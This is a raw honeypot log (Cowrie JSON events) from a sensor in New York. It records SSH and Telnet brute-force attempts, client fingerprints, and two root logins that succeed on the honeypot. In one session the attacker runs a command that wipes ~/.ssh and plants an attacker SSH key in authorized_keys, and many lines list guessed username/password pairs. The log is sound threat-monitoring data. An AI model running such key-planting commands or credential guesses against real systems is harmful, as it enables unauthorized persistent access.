sh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:00:13.270714Z","src_ip":"160.251.197.41","session":"6f5cb7711247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhuge","password":"Zhuge123","message":"login attempt [zhuge/Zhuge123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:00:14.008770Z","src_ip":"160.251.197.41","session":"6f5cb7711247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:00:15.190420Z","src_ip":"160.251.197.41","session":"6f5cb7711247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.128.137.156","src_port":42206,"dst_ip":"10.17.0.5","dst_port":23,"session":"78ee97200315","protocol":"telnet","message":"New connection: 177.128.137.156:42206 (10.17.0.5:23) [session: 78ee97200315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:00:52.358711Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":50806,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f6a61411099","protocol":"ssh","message":"New connection: 92.118.39.92:50806 (159.203.135.109:22) [session: 5f6a61411099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:01:14.903197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:01:14.907639Z","src_ip":"92.118.39.92","session":"5f6a61411099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:01:15.008290Z","src_ip":"92.118.39.92","session":"5f6a61411099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:01:15.313859Z","src_ip":"92.118.39.92","session":"5f6a61411099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:01:16.416358Z","src_ip":"92.118.39.92","session":"5f6a61411099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.608211517333984,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:01:26.966814Z","src_ip":"177.128.137.156","session":"78ee97200315","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":48588,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4ead650330c","protocol":"ssh","message":"New connection: 171.237.176.209:48588 (159.203.135.109:22) [session: e4ead650330c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:01:50.656267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:01:50.660712Z","src_ip":"171.237.176.209","session":"e4ead650330c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:01:50.913291Z","src_ip":"171.237.176.209","session":"e4ead650330c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123","message":"login attempt [edward/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:01:51.958342Z","src_ip":"171.237.176.209","session":"e4ead650330c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:01:53.213104Z","src_ip":"171.237.176.209","session":"e4ead650330c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51046,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2a3c9de050a","protocol":"ssh","message":"New connection: 195.178.110.218:51046 (10.17.0.5:22) [session: f2a3c9de050a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:00.681364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:00.686434Z","src_ip":"195.178.110.218","session":"f2a3c9de050a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:00.766404Z","src_ip":"195.178.110.218","session":"f2a3c9de050a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:01.078026Z","src_ip":"195.178.110.218","session":"f2a3c9de050a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:02.161985Z","src_ip":"195.178.110.218","session":"f2a3c9de050a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.197.41","src_port":52198,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8275e2f36f8","protocol":"ssh","message":"New connection: 160.251.197.41:52198 (159.203.135.109:22) [session: b8275e2f36f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:56.700804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:56.704842Z","src_ip":"160.251.197.41","session":"b8275e2f36f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:56.880141Z","src_ip":"160.251.197.41","session":"b8275e2f36f8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123321123","message":"login attempt [root/123321123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:57.614212Z","src_ip":"160.251.197.41","session":"b8275e2f36f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:57.996257Z","src_ip":"160.251.197.41","session":"b8275e2f36f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:57.999491Z","src_ip":"160.251.197.41","session":"b8275e2f36f8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:58.003049Z","src_ip":"160.251.197.41","session":"b8275e2f36f8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:58.182534Z","src_ip":"160.251.197.41","session":"b8275e2f36f8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:58.611981Z","src_ip":"160.251.197.41","session":"b8275e2f36f8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:58.614627Z","src_ip":"160.251.197.41","session":"b8275e2f36f8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:58.794528Z","src_ip":"160.251.197.41","session":"b8275e2f36f8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:02:58.797699Z","src_ip":"160.251.197.41","session":"b8275e2f36f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.197.41","src_port":41872,"dst_ip":"159.203.135.109","dst_port":22,"session":"f074a076a68f","protocol":"ssh","message":"New connection: 160.251.197.41:41872 (159.203.135.109:22) [session: f074a076a68f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:04.981373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:04.985465Z","src_ip":"160.251.197.41","session":"f074a076a68f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:05.170287Z","src_ip":"160.251.197.41","session":"f074a076a68f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:05.942668Z","src_ip":"160.251.197.41","session":"f074a076a68f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:06.132529Z","src_ip":"160.251.197.41","session":"b8275e2f36f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:06.136208Z","src_ip":"160.251.197.41","session":"f074a076a68f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.167.198","src_port":34218,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d1fa753d4d1","protocol":"telnet","message":"New connection: 103.172.167.198:34218 (159.203.135.109:23) [session: 1d1fa753d4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:13.681494Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":38032,"dst_ip":"159.203.135.109","dst_port":22,"session":"618f6ccb5a20","protocol":"ssh","message":"New connection: 92.118.39.92:38032 (159.203.135.109:22) [session: 618f6ccb5a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:26.760921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:26.765470Z","src_ip":"92.118.39.92","session":"618f6ccb5a20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:26.865819Z","src_ip":"92.118.39.92","session":"618f6ccb5a20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:27.170662Z","src_ip":"92.118.39.92","session":"618f6ccb5a20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:28.272892Z","src_ip":"92.118.39.92","session":"618f6ccb5a20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.38004446029663,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:03:29.061422Z","src_ip":"103.172.167.198","session":"1d1fa753d4d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":53494,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb0c73993815","protocol":"ssh","message":"New connection: 92.118.39.92:53494 (159.203.135.109:22) [session: eb0c73993815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:05:44.205846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:05:44.210007Z","src_ip":"92.118.39.92","session":"eb0c73993815","protocol":"ssh"}
